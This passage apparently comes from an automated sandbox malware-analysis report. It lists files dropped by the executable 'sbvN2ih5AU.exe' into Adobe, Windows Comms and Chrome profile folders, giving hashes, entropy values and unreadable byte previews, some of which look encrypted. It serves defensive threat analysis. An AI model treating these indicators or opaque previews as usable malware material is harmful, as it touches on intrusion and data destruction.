Preview:	%!Ado.K.u.!.D.....1.6%..I........".)Y;..z...5....Q...z..r^.....w.4.;s......(....h.z;y^`...}......w.GJF.7uw.).A4./G.R(./I..'./<`.....D._ .....F..%......G....K....Ct....@....<9..h4Fu...J...[.K....~u.....]....O&.s.=.n.L4..pP/)....X..}.....UT.M..M.#1+...L...T.......H.8H<.._s...=.r.h#....G..q......'..gb.95/..U.N.W.P.C'..Qk...PW.......\|.....ZK.S.9......Q.a.P* .NOQ.7^.....]. 3'.....;.'..7......O.....B..s..%[.+.....nup...$.x.='...sW.+..S....^..;.Z..W......y.l....c..FH.F...S.7A.......R..K%.._... .&...~.]....X.L.h.M.n.P..$.....HHIg...'o.C....E....B!.E...S..s.? d.m.s.T.(*(..UJ.'G'7.>.<..tiQq9...<..r.A...R@..r^............l...+..k9...;.a..(.A.....}8Q..x=....A.F......(..f.A$............u1."K.T]0.U..}.J1G.2...e.S..5F...q..\|..v};.z:....d...b.3..-.....(C.F.$.......<@.;..,..9.a...!g.?z:.Si.j...::R.....@....B..S}.E........@.K.....C...Mk.s..<...r...(".m.zl3].m.#.&Xh.....+.(k.=5...:... ......p..y?&. ....&L.o..51+1m(.B.DS.W.D..........J..z.a..O.=

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.817503429219865
Encrypted:	false
SSDEEP:	3072:mMylErc3vRH1II+A4Xn+/8vDk3k6ewcTCSf7frtNgOXbNj2ShadeOolNlnn:KaeyAAnUWDk3k6oOSfftOY2SEKnn
MD5:	AA17EA6E47BE0A87407570495C48D7EF
SHA1:	CBBF96FE41576BE0FD097C8C26DD1BAD96088F51
SHA-256:	81DC66EAA922D04EA8F900FBC56145836AF4265E7952FD056774628C62866B0F
SHA-512:	5DCC58937415DC5F11731C6A2ABD62477B27503164673EBEDD79A181D37965D05AD06A8A0C48A7521870EAE9AD0D148B19F6D2FE89876FD089EE432F970B4BD3
Malicious:	false
Preview:	Adobe...v.)o.....$.O.$...^U-.V........e1..N....?...Y.9.A/G.<B....V....)..1..Q.t.1.m..^.....E......._o.L.>...._.o.=W.{..'j<.s5...!.D.....9. ..~....Mx.b.T..;..H..1E..z...-.t.@...I..9.4.y...8.d..:...F...\|.{=.G.V......e{./.....i....eu@m...Cy}.2ZK.[...%....N_.6EW.u.=...blEE.F_Cw...UV.....K...\.o...q.0....1...o)$...n.7.78.....PB...'..`..@Y+[..N..........`..{R\..<.h..4.&..1.O.E...6.-~?.."...z..D<S.v..Dg.n.V...)........!K......IPR...?..8..-.....\...V....~.....D.t.=^..I..1........Q.J.PqB.hdi.z.F./.3wGd...s..9..).o....mM.$;3.\5.<.%...p...c....p..^....1.._`Z.f[..e.D....<...b+...S..4.[......A..xk........o.=..+.;.wx.qdY.,..UV.VZF.{o.;p......QU....ok}.K. .u1...#........>mn...gp....<T/......43r..X..;.O3.;.D.kV8Y.j]s2....{...qJ.....g.N8a.T..Q..{...Tj........I.._h..=......../..v.1.2.U.:O........-n..sz.0...[.....J.o,..M.......^. t...B>...e?.....d........+.e..Z.{......Z.u.o...Y.L...;.U.Z...=XSfNy..&9.q/...k..-.M..?.....`..HK`.c.q]....X.j...W..1.!.^NC8

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.940985400320859
Encrypted:	false
SSDEEP:	96:edGuflHNSK1OQ8wHjjiqn2QH8dzdN0jgDqAiH:+NtSkRHjOnd5NBoH
MD5:	F6577B35C6FC0422A6CBE08AE3FEB00B
SHA1:	AF51BE3E667AB19763714A1AE50993BC79D9584D
SHA-256:	85EAC42C26529FCD7876FC377EC0507CD14DF3E7C803FC19A163DBBA04B89AA1
SHA-512:	86C952E92F5638E02CB7D426672299C32CB13ED949DF9E0997A4AFD642EFE00928B55FE489C1EC1EFFE536DE556251059A28DE7E81EE176613842BE0EDE240DF
Malicious:	false
Preview:	{"all..9{X.Y.l.it......%.f{b.."....av...!......_...H.....9lF..re...c..8..u,7.'... 8/.D.r0vF>X8G;.C..s:H.H......Qr.u.....I...E.r.U5..y.(.......O.-...$y.......&.3...QN......B...pc..W~.f....v.......S....6.....T.%........m}.....u.4...1.q.V.Dt..+a...p..1..J.[H.Z...=+.5S..v{...A...O..\.....c^...............[..H..g..w..6<W{a.:.6PnJ..].0..7./...tN\|F....!U..x....@}.!...w.8@.>.U..X.bd..h......Q....T...Bqp...x..q.T"......O)..........._.3...l..B....Hm<..]s.{.~.{T.Z.}f...\....?...\|.?...F.....:..{.UU.X.Y....m..........X<-5(5...3f..<.......@.(...V.{.Tqgd....n...gO...zkk..[..lv8V.6.C......'.~y!.nI.....{+.....?......s.....w..!U.`zV....F..d.RG../...3...<dy5U.$W.j4X....UqZ.s..e.hA2.]..}.K.%..31...v0.4......3.G.D.G".r.J.-U...f.+O....9..4...{.?x....H.bgKL..........#..].l......)....%ho...w=qhs.....W.?S,.....0....M.......!.k..h..m.\...lg...Ev..},.PD#X.../..B...~K.l"j.y.....p.N..G...^...2..Ef...A.....sc;w....^........H.%..F.......#..e.........w8.E..lp.....8...R..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997173848455799
Encrypted:	true
SSDEEP:	1536:g+Lnn/VttWlN0N+ByTkazX8FSciUD/+8xrIL:9r0lNzBktXZcly8SL
MD5:	FD48B123D4C47F535A6F25E47A79CDE3
SHA1:	1C45E15486A16A60FEB56A03AE2F4EFD91ABBAFE
SHA-256:	F4181AD5C580C9EFEAA5F1D856AE0622267CF4BC4DC68085B49728BD12CA8253
SHA-512:	A352967F9E8969CAD5E5EA8EA363B2ADC687C6C94E664AD0EC49B29FD91EC555607BD2D0B72A7101AAA4CCBA8EC33C9612BAD6D12C48FD978BA865799AACC018
Malicious:	true
Preview:	4.397^.[.T...I.g.I.7"B:2.....J.J..f.x.5z.9o.B....^..L.On. ..9..t_1PLeR....{.%..IGi..I..c...cfN.Q...6$.Yz&.f.YW..e.].B(.[.e.G...8!.V;Z.cV..D...}..N4q.ub~4n.. /Ew=..1........'.......;X.!........sN...3!..7.J,?......N..Y..b...%.cT.(..C.ZwNEscv3........J.....f...E..r)Y\|R.../..'...@..X.>.[...m%]z.2....@e...,...Ws. .....).m..l{6-$.tl...4..9B.Z.X.mp7.`....d.N.._k.-W..=.G..F..m.YV\|.S^...f.K.&(/.$.....O...M)...v...9..:....f..IH.....a.9\B..@..V.c..!.....-3.../.A.p...`%.:.\...D.\....:2m..$..'G?..u....o.{.BH6...sw......../>"p&..5,..[.u^h..._..R.............C..9....0..x.z.{...h9G.H.sI......%..:.L.....".75;..u_gz%.P......[..O...<.<.A...5H........9..w...Z.....7..,.....w...b~E./...XE.cv.p..Sh<....W....:.............?n...H.L..xr.f%.6...2Ye....;.'wvp..`U.&.....A....I...;..%..... Te..q.F0.m=.....K.v.3......d.J.V.....3y..g..p?s...W.h.*..zfX..-m.'..y.lijiV\.h..!>Z/.!.._..x....w.%PO......(o.D.h..[$)j.C.l......I......I0.PJ.......wg....s(.FR.8.. s0L.g.2.6.....i

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980182879762838
Encrypted:	false
SSDEEP:	192:IQ/bRTInBCkqzElFvxLdp/g745Opj9AS3vrh2PENLmjwNUSa6tCL:rpInBCkqYlFv1g74YpS6VwEN6CE6to
MD5:	B248FA9B0814FDB7C6795E30DCA9065E
SHA1:	5F4CEA22A2DCF1E603EA504B33422E80575CF57A
SHA-256:	3DFC1E392897A0CA67709571C588C4BBB7C2CC41C944C550E67E47D445980BD1
SHA-512:	343DAE0EE4B5259D4BC0DED907563160B11124A4D209BEA6403572668BC0E4049F4D96772462A4FB5F7CA278663E3EB1E8FFBAB6123D0D14F68406AB5E6C8057
Malicious:	false
Preview:	.M.#.@....c.l..z..b.H..."&..Be.......)..^..r #i;......D)...s..m8.Cr..>..GK.>..\|...k...TV....z..7..X.@e.G..`...1.S.k<.......P.K-.AA..=. .k........"..'.6....s......../.k..N <.6...;.V.-.plx....).r.z.$.{.w.........Sq.]..uE_..G.$..L<.V..P...F..n.......{.Las....`.A.....N.PDEB.s(....K.W@,......Ei>....<3WH.?.]..Ps..z4./1.Rs.VL ..H.x......A..r......UIi..F..X]...g...$..\O..h..(..Z.9U..[.~:lm.LW.g.../..@.: 9.Z.g..lX."v7.j...3.v..g.):..~q...".k....;...?..T.@.[...fBIG.Xj=........"VYK...SD.G.Gy..t.k...sX.7.uJ"....Zf.f.)...0S.zR....#.f.s4..O.:..A....U..y..G..(.xa.m........I.d...M5.(1.....R..).u..k..\|.._0M]5hG....<.,pK.9..8...q...2...M.t...JB2._..$.n.?^}......W.;{t{...e....,.4..LH)"=.QY...Q.1!T..q.I.2.h..o....{..8"9..v%.....^#..!~...Lt...H...XCn..v.P\..... ...\.'g.sM..wa>.)........u.-29......+1.....Bj........._}pR.+. _{..w;Z....G......#..UB.W[.'.\|`O..E.....o.....M..7.Z.D.=..Z.l}J....{..i.91.....R.&G..#V...K.bWR...H...2yq.d..t:.v.]..b.5...zr..

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jtx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7335117544491079
Encrypted:	false
SSDEEP:	6144:ZtAoDD6EBIz20j16UUPXmNqhdih7Ky2KQo3agO/qqv4RROYdVbtzFnrG5J5qh+AK:ZthDDzii0jYvm4hdqKy2NfCdYSs
MD5:	D490A5DF3F2BA572288548823FB74A79
SHA1:	DB3D2C443F3A3087059A4B055CA1A13E0847C892
SHA-256:	245097A87001C1EDA7FCAE037B226FC08FAA8B71A90B505381A7F8E380BE2521
SHA-512:	5C865ECC2F283B8CE8C12ACC8F7E7286C482C5AE3E79049B0EFE0BE533467C609745A6A0B4633455BD5862E88B5FD70BE36C66992D4C3E5E8E95D74D0FACA810
Malicious:	false
Preview:	...?..!f...7'}..d.`.:c........z.p...F.5. ....Y@.\..%....r.;H.a.T...o...H..3%fm...n..^..Ar.q{z].GH.k..[zu..)..f... ...M.3..+..S.K{.D...7...p..j".yD...o5.>Ayr..(...x....Y..}.c....tU...m.6....Z$.....h..j.P1K ?~.x.t..p....E...<.v....v.lL.../.......8...}...1O....O..\|_BTsv.2 ....RA....v..m....=P._.Nn.u....z.f.YY..L.s%s......!..M....rJI4l{....W....ya.fT.?. v...........n............r.m...0..0.......I}.X.D..........\|M."...zu?..nc.........C....GI.=...]h.#....G{$......b..vJ....5O!,."....=.M.).?........O^T...OS.=..).Z..\|....... 3..-/.]/..`.D.p.c.......{<...A+.\|e..g...w.u..].2.l..27./.ZR..O..^E(.H..Mu.d.....M.n^]..Py....7...:.....66}..c....Z..C.W~.>g...v.3.X...j..h........].m......`.E..0V.jt;hq...+".c.4.^S...s.:.31.xR6.2..]e..)..\....... ...,.K.Q.....pKg.0....U.......X.z$N...qjo....y.6...H.....e........F02.M%.8.1..$r.<..lc/.O..+1...WW.n..I.\f.A..i...J..sg.F..u...G].<.........._b..........ak/x.Mv....L._b..!...*dC!.b..@..d.1.+ .!R....t...w..

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705333811264559
Encrypted:	false
SSDEEP:	3072:hmfshiVrKJkhlcnrTru0U1hHFn1mHLVR1aBrw3ckbsUcYh11:hN+rKJkb8rUj1mxvaBrwskIUd1
MD5:	091DCE339CB8535A4B3421C4C9A2EBAB
SHA1:	F5D44D6BC3AFD61AB358FF0ACC2F608CE0FAC7E2
SHA-256:	DB8FBB0919C447E2D2DE0A3DD4B951C3497255AD2C24C17BB1BAC3595F5FD90E
SHA-512:	942EDBD005DCE678512B5FDE6F5696EC488F115C2F482C76635E0BBD442707433915BABA3463F8C55F43D0F78E2A740F618AAFFF9ECD6A37580444374B17C3FF
Malicious:	false
Preview:	........nL..+...%=..}..=.]C.V\.....-.}..Q...)a........]...EM($..7H.!m...u.S....W.6..(Y....hE....]0..4..]......V...G^.R3.AD.N..6..I....~..J..TU.....Q.1.l=D.9.....{....<..H.bG(.0a.!1...X..........#...S."\.?zA.D..;.-.D..F.~.EM...D.!..\|.`t.T....c..&u)Mj...k+4..\.=.3.]..4@..B$gEB....k..;:.{.....r........B.?^.}.V..TC.~..Rdpu...'bf^.....VH......+.....?..)\|]/..9O....Z.47.X.....i.!76..[5......r....(.t..0..'..h....%..).Y;..S.%.u.J.....'.c...Q.B...N...K^...,..j).....A9f...+.Z..:%..%W..obnW.N.@.k..?.]]...w..~.-....;..NO......~K.....\|Zg..[Z..X....~.5h.9...!.E..'..i.Q.,.(.....Z..5.o......g.Sn.q.B<N...#.b.......84.....1..."$..9...S.xK.d..!..n...g..$...~(.....Hj..e....U.:b.\e...nr..D,ad.=.tCuK..(u.....%.o\|GsF.....LQ)(.\fR.0..'...MQ..I2.).\|.).....s.h..-1.C..=...].._.-.*.S/....2.K.Y.F....8....{...Jig..(..\|...I...8.O"...E...^.$....Y..%..(.;....i6...............{0.L,+`L.#......AY.y....cS.......ZP?~...=..s2.8...8.j.tC<.%.i..KX.'L9L..G.+..\...9.......;q...HZG.h

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706912780126998
Encrypted:	false
SSDEEP:	3072:AIj/oxtclVio1X6j/nTWhSGsIJTIWsReYcnHGD6ckceBeOKaJcBkn4ipYvDX7:Ahcn1XmyU9fcn26ckBHKaJcq4ip4X7
MD5:	594D691DA181CB4CF72E23D266216B65
SHA1:	478E2E0E2604967A3D81EDA7AE1D4081004151FB
SHA-256:	2C4AE113BEC000A2E573F17FC3CD4B2C9E93BE446CA4EF6DAE65FC9E0F5DCB8D
SHA-512:	9D74065C79438AAFD59FB4BDCC667838952E2E5B2DBA54DF9C6EE8684DEDFCFA8A57EE745E327C2831C5B586A0E8739941B8CEE75BB9E4B2B5FB79FBF685542E
Malicious:	false
Preview:	.....M..).$.....e)..V..W..r.N.8+XH. K..X3^?3...r..iP~...T. ......1.Vce.\..!.a"M.C...UVU.....V\|<...e........v./.B.)....c.P......Xgl.GRIEZS.........N.X..N..E._.6i..".t....FVX..8...`.......y.U..}._.a#;.6..}..^...Ta$w.]...... .t....7.>#E....+....xt.......X..^.o..Uj...u..16..._.ypq....r)y...i....1i.j^.k.R..o./....)..o0..U.;s,...&N..y.....}....k...C.,......1..Rk...Vz...=...&..Q..y..f....&V....Q..E...Y1..?.#Y..&...)..n.....@[....F..<..Y4.0.h.4)..q.p..5.e..._.@..?. .s."..a..X....7....A.GP..(....5t...Q....P.^..s!~...v.i.\|..~.....~...jo9n<..'.....)..z......=...=e.p......D....XKT.=..Fl...d;z;....}.?..zw.n.........."....../..?.!....@.}.w....Y.%.kq..'.B..3.W.-C.m.-...NC....>B.n.."...K...Kn..Hb.......k;....R..k..MP;$.b.....-....FZbr.q.Q.[b.......].HK...l..q.S.......e.Hnk....*.J.....K......^...9x...........>......D..A...............3..:..nj.3{..m.~kQ......}.F:..Y..6.V..&........6.LZ?....D[..}......T.b..+.A.X.e..\|....7C..Sh."9w......

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705824609434473
Encrypted:	false
SSDEEP:	3072:J09NLcX+y5kwALy+07oJWNsbWiSVtA/BADm1T1eFVsGGIYE738Sh98IpcwE:JSL6AW0VlSVq/44EWGGsM48IpcwE
MD5:	483AE8FC09D22CFE5CA7EAA6A7F39CE3
SHA1:	931E147F2D006751FC6317683BA820E82835EA71
SHA-256:	70AC4BC4EC1B6EF6F3795A17A75966B29696FC6F3DFFDB0826D214E318728877
SHA-512:	AB02FFCA17635D2393110DF375576AFDA6D5FE73B4B8F152741FD1222B8F85199A8411B0D492A88B96CC1EE7FDCE09424EBBBFEDD7F511E0C7F9127D04C5270E
Malicious:	false
Preview:	.....$.1...r....C.4.s(o0%..f+...4.....M....7..2...Y(...:.Y9q..M..Y/.yL..d..~A......x.d.....@....wl....M..mD.Y}J{...jt.R..d..4.~.......(....0-%71...},..3..1..A.6.{........W.e.......p.+qwp...`]W.V........M...q&..c..J....rVu...i..Y../.#.vE...n.M..7.6.XD..vb...6..8`t)...&.....Z......MOo....+o............`..B..@..=........sB6..6.L....+5...p...Z.......$..F.OV ..8tAh..^=...$. ...........4....:..~.W.,..Qn....^..r.....Y.......o.u?....'.U.lV..PB.2.Z[.....1Y. ..y...c.;..g.]]2I.8;..SS8~.e.@~...F...p..c.~{.y.^uS...,......w)... ..........b..E8..~..Z(s..o.L1ty..Ij..(.b....CQAqN..!r..O.p. ...A%.........\........m..,"./.}.F.[.c..?.=.l{.g...j\|:..w......-..#Jh.......)1L.>.......K?..o.......2..FZ.2.>..F.+....+.0..].A\.W.]..D..8..W.s.k..MN......2..&...Gg<...5........M..'q...C2ZF.n..a..tH...j.V W.KcY.IG.X*..l@>K.......Ym..L.....ii..D...U.X..k.......\',\......\.YR.5........q9..2...{%5..t...\|..3..@.<......Z"f}.....27.ZB.[.]L...w..0)f".L.>.....M..Nz1.zA.....k

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.jfm

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988115831755994
Encrypted:	false
SSDEEP:	384:/uFxv1gov/NAyvuFqa5B8h3xjZ3mJ7M8KrxXzrjxQBNsn2:/uFMCFnGFqBh3rW+t1XzhQP
MD5:	E441579567A61720461CFFEDAD33741D
SHA1:	DF856A7D31DB0960E0E44211560A3ECE37E70242
SHA-256:	3F50F58F2FE2A791DC89987EA9786D8521527B28D87EB01B7DEB6B38F171881C
SHA-512:	C433FC8FA4D0CAF57EDAEC2074FBB1FCC9931E5DC8003E12709966B58BE89D6D6D524941E3C79D941525FB887FBED658687651A38A548E28FBEFDF2E70A9BDA7
Malicious:	false
Preview:	......ct.......I.+.[D.s..< ..R."..-...N.....fvo.....n...Ex..(+.H..k:...N..M<...._..,.8....wN....D.r.e.kq......b.%...Y....-.y.....?..J.n.3.....M........R.+....1N4V..p..;.....e......M..b.Y!V+...E....,m..\.....>yv....Oq\[...A......@;...O.....}Y...B..=..Q....<./..q.H....<.......-..N.3........e.......T.......V.k.e.._l.. ........V..jU8. \|.9=0.O...%g0.e....pM..r....B.Sf..&"....6...Y....6...L..gI.S.7\|..6.5..}a.X...E.p.Ax7..K5K..1+..FWotT5..r...kR...;.&..2.N.....@3k..-.D..........r.......S_.v.N..I..p...8\|...i}..wuW\..&.....r...(..Y.A..s>0.K.=nz..:!...G.A.^.,z;..T-M@.'.I].9.....bVt...\|$..".$>......e.k..e..%..k.o.Wkbx.......-.$._..SK. ....$.....{x.....c....3..=.&)'F.^P..~..<..GdR..u...Sb2..d...2s..o...u...o...`.@.=.E.k.."...{.j.a.8...qR...k......g...w.DR....\.g..a..u.kZ....T.5\.bS...9.(.@O.8..W.J.../.U..>>^.Z......N8\|qO....e-Gs~...G.H.>....8..;..v...O#....0....^.s1a1.m..........#......L...#...)k.. *..<...!.t.k..}.....`c.....1~....z..

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.vol

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7567961718650474
Encrypted:	false
SSDEEP:	6144:8ZRybYmSYDH4AOT6EZgqULPSa+d+gOrOuWxWk3m+cun4CfYjUfSUXivOYRqi/vUk:87ybhSYDYfgzcR3b0N
MD5:	4B52E058BA8E36E4E3E2D36C74472C1A
SHA1:	1E81AF60F1C709AAD07D9FA1C99954453147E26A
SHA-256:	3CC1E1C271371714FC6DE0F002916262E81E7B53345944C3423D657EFA6B11ED
SHA-512:	9517A350820B3A490AD9BD4CF7439B23168E7B806A993DADFA7FEADDA0E559A0D7A9A7130A4DB007FCDE53DF5FEFA1B6F75A8A72354466E2586028E4F15CA91C
Malicious:	false
Preview:	......Q..h....~B..b...D..O..R.v.[l.p.K6........~.....%..~..;.z.c.G.m......S..z..+..pU~....\|...h.Q..}'v.%C............}...p..$Ci..f.N.G%F.....{....p...9.B'..`...F.\|......S-..}...........G.1pm0s/...Bo..FiBRL.qS.g.c...u.....:.....s.....W.h.v..YkR-..[0<..8......>)..D...0...L.>C.....g...bXRs...V.)...Pf.....bV.UM.4.kV.)....I..I.l~...?....\.Ty..c..``..x[$+.[Zn..nd.......5.m.S..f..~..d.$...I....].....w.........<..l.........W...>.H.l.0.vnA.f.~........]..A.b.Q.~+...(...1%."..uj..).La.......-g.....dBs.20..4.......=.g9..W?.,$o.[.;F..Sg@........w9...w..Tvx.=K_.jC....:...#x.e...,.E....D.%]>Kf.,!.>\.m=0ha0{...r.\0tV...k....._...yt.r....Gz$....x.c..X..<...)k.U[.i....(..y......~.B..,.Q.\|#E.$..d..Ct.^ W..7],.0.v%N..&r....YG.x.Q8.E...f...55..gh.F.]X......g....."Xw..J..H~..U.....c...>.(.......8.....7..N..<....{wK.....v..1PG...H...}.Jz..X......r#.."..X../...j.P...\.N......?.....$....^..p.&..T.`..Md.D..w.P.D....V...B.Z.M.F......mdwc.%':.S..c..$./..<..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.494614822057589
Encrypted:	false
SSDEEP:	12:qYjpin+ECO9+Gu5uUMVnJRmMnOX9AElTESAVSUdNcii9a:1VKLXVnDmMnQnhEe2bD
MD5:	4FC3F7768D8A6E15F00532A0BA0AE9EF
SHA1:	BB26DF60998626E66441C6BB8567C4CBE59107B5
SHA-256:	3792F1C89D8D841D2A36A3A1A33450F49182E7F89EDAC6DAF6B9F1D3864F2EF1
SHA-512:	61531113541489C0D897C6FFDF692FEF295ED774D68CB50E6B08FA038331B655D1471F5DF337D93CE0CD72069121DBB4AF7F0379EB8F4765F6C38D3C02DF7C9C
Malicious:	false
Preview:	.f.5...j3z"...y"i.%......e;c.$).....6....e...{@.C.'f.v...p.....+..S.T.2.....4~&.../L\m..../..O~.QH.H_...J........^P..).w.c...g].....?....r..8.O@q...........&.\......)F....2{.........wPi/+..B....q.N....O...j..9......../@d..~.1.v..49PJ...t..r...z....i.-`...}.O.......i`k....K+P..o.R..l...;j.x..\.......h.v".".b.q.v.?E..+M.l(.z.(....lV.q...6....C.0~pj...w>..Nk^p.lr.qC...... ..w$..tE.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.490518324845403
Encrypted:	false
SSDEEP:	12:qRglVV8l8C+oPG5QtJx1mJtGF8SUdNcii9a:vb8l5Jx6GV2bD
MD5:	6F7BA11F8E3677EE5FD0C5796D4D607E
SHA1:	509E6845960F46657FA1534A61651C737DD61A3C
SHA-256:	0D071F4EFBB5F1687D9C271A1A22ED0DDA228036349EA708284B253EF6239480
SHA-512:	399DEE5A0F00D711BB423FC4BB6A5475B43867C4729965AD3254F255DA6EE030A0530B39CEF7A6BF569E4792C0E8A0A4F149215894E48FA4332AE8F77FC9E13C
Malicious:	false
Preview:	.f.5.....b.l..7....vrX..k.`.W.....0.7.do....u.\|fO.....1.xL.\.....Tw.......b...DX...._...j;...)..e..b.\|.u.)..'E5&q...>O.=b....8.......fi.5../..Z.m(9....$.-...r1e.5.S.A...T...H..h.....y.5.xa`B..l..}..0.Z.c.\|.........D.XE0..5F.&.x.S.z.-.......H....).....H..t..~...Zo.H.H..QU.1Z.p.S=.s5F....o...........E.cX..+[.&..tIF.TN;.g..Y..=.s6.V..w....W.Jx...(..Z...Ea...(DK=7s.,...!k..l...q.c..F'..(NmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.7203072851518755
Encrypted:	false
SSDEEP:	12:qJK5tEA6KMlW+SJBz6Cj1vTWoXaMLzWnwZdyyAZpkyOlobwBb+ojkNBcZG2SFSUn:BDjLz6CRbrzKwZdVvKbKXjkPcZRf2bD
MD5:	A3B1274C9A67D33FDAC7623FD6BF382B
SHA1:	3B4650C59589B4570473DC1934D56354823AFAFB
SHA-256:	46030D8AD9D54DBD583391BEADEADD04E74997A95A379EEBC65489CB19EBE0BA
SHA-512:	1D117E812637282424B5D8640C5D77759FF7216CCFBF922344FA89752D89A7722C3EAB5395350C3BF47A4546A0923AD636C46E21783894BBC8C7C523751E0BBA
Malicious:	false
Preview:	.f.5...=.+_.y..M./....p.a.K,.o..=.$.....:6.Rhl~!...."y....j.y.H....u.k..c>..x.8...9IV...z.......#...\?..b.>.!X8r.9.Po..8\.V6.....bi.....b.....G..E.......-....M...I._A.b.j.P..<Wr8>.@...93.&_...k.J).aE.-.. .}oy.]e.7;g..<..[,.....h*..O...............&..83..a.1.g........3..)cu..../....c...-...s../..@.Im.{...U...`..g.... .2...........O.5^.>xJ..MxN..xC.4..,........I..yH/...5w.....O......L..X.b.......R..:<.SeX..........Y.w+...j..P..aW.\..e.........a..5..h.8...B.D..8*...\\...D.c,..(.n....kgG..uJ"..T/.y....^.....L0..\|..0..[_....._.5...2..C.J.UmyRhT..{...\.R.^..f_.....#>.bP.9.....B+M..BnB..0.@.2.Yf......#..X.U.Nr/.L.......o.p!9"]9....h.].Uj..:......?#].K)...GY.6..R.'..Ucz.......\mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.668484266722043
Encrypted:	false
SSDEEP:	12:k7U8MM8/1uK6wWkFpUK4t6uDdEYJPyLBWQ/dnYwJUf4z4n/26vWSUdNcii9a:n8BPK9SpEK1FyLBTlnIk4/2y2bD
MD5:	36A7684C1109A1258D5DF72B2C744384
SHA1:	0D380085B76D91278BE67292E39A2269CF98B6B3
SHA-256:	9A58D22EDA0B2BC06FB1696CACC171F3616942A40B9B74BBE7A0BE6C1D5C7862
SHA-512:	2D1E9CC40EC127CB3F453EDDAFB84C4F2C36B112FBF92F1F251CCB6FD43CEAC94EFC8428F72825EC890089206FAB3045CD2E8577957A08ACB2E46A6900AF91AA
Malicious:	false
Preview:	2023/.(. ...,....H......[.;.N.8.z./.....a.F......'.Ox.oX..Z.$..........V...cm.v2..Wq#....o.3...Lf.u....`.6......{hwlv..Al.d.....c..u.i......Z..T.....g7..N.."..~KG7...0.;.{...KA.M...W{4-..U..c.v.'....J.Hos......i..(.vK...4h....2..q.w....X..X.....zVrM..........7F..........j..4 .:O.r.ose._.$.vV8gH.........-M.LO.&......e..N$)......rs...2.~......J.)......}}.-..GL...L%..R~...;.Y.O.{u........%.'O....1....PGg.....$.iTK......H<$...............x$s!.R.sX.E..YCrF5...../.-$...)t...m...)Q....9j..<.=._o)R...C.;......2..5F..(7..x.nL.!..D.'+.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	7.6824777641456246
Encrypted:	false
SSDEEP:	12:kivXyu2F9noXOo13yzC3424EU6GwVF0tb/n+PDJQJFnuSxjQVFMo3LSUdNcii9a:bau2joc3E3JVF0tcDeJFnvsVF73m2bD
MD5:	5EA0A6E21E10646F87D7FF937DED871A
SHA1:	2E90C6A8FFD2E344540657AC29F8614AD4821BBE
SHA-256:	C0E4295D812E46662E4372BE3FCE6722C0B01C0351053DD7C79F6A725296C2B1
SHA-512:	8C7D6DC4FBA463432B606F8279B0F72A94EE4886628EB00D8694BD47DE021E83D6FF275FAE3A37E036B1341484E137E1938BE0E161C0F82A121EF04B43E07F18
Malicious:	false
